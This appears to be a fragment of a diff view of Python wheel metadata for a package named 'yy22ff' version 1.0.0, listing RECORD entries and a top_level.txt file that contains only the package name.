yy22ff-1.0.0.dist-info/entry_points.txt,sha256=RgC6-uaT7Nsd7_O4zFCIgCZlE4JhTVPBS9ih6ryJfXw,38
|
|
6
|
+
yy22ff-1.0.0.dist-info/top_level.txt,sha256=YQpIdJ7e2KfU8nL8Yui9l51XHhHM3xVy2pyuEWdIxOg,7
|
|
7
|
+
yy22ff-1.0.0.dist-info/RECORD,,
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
yy22ff
|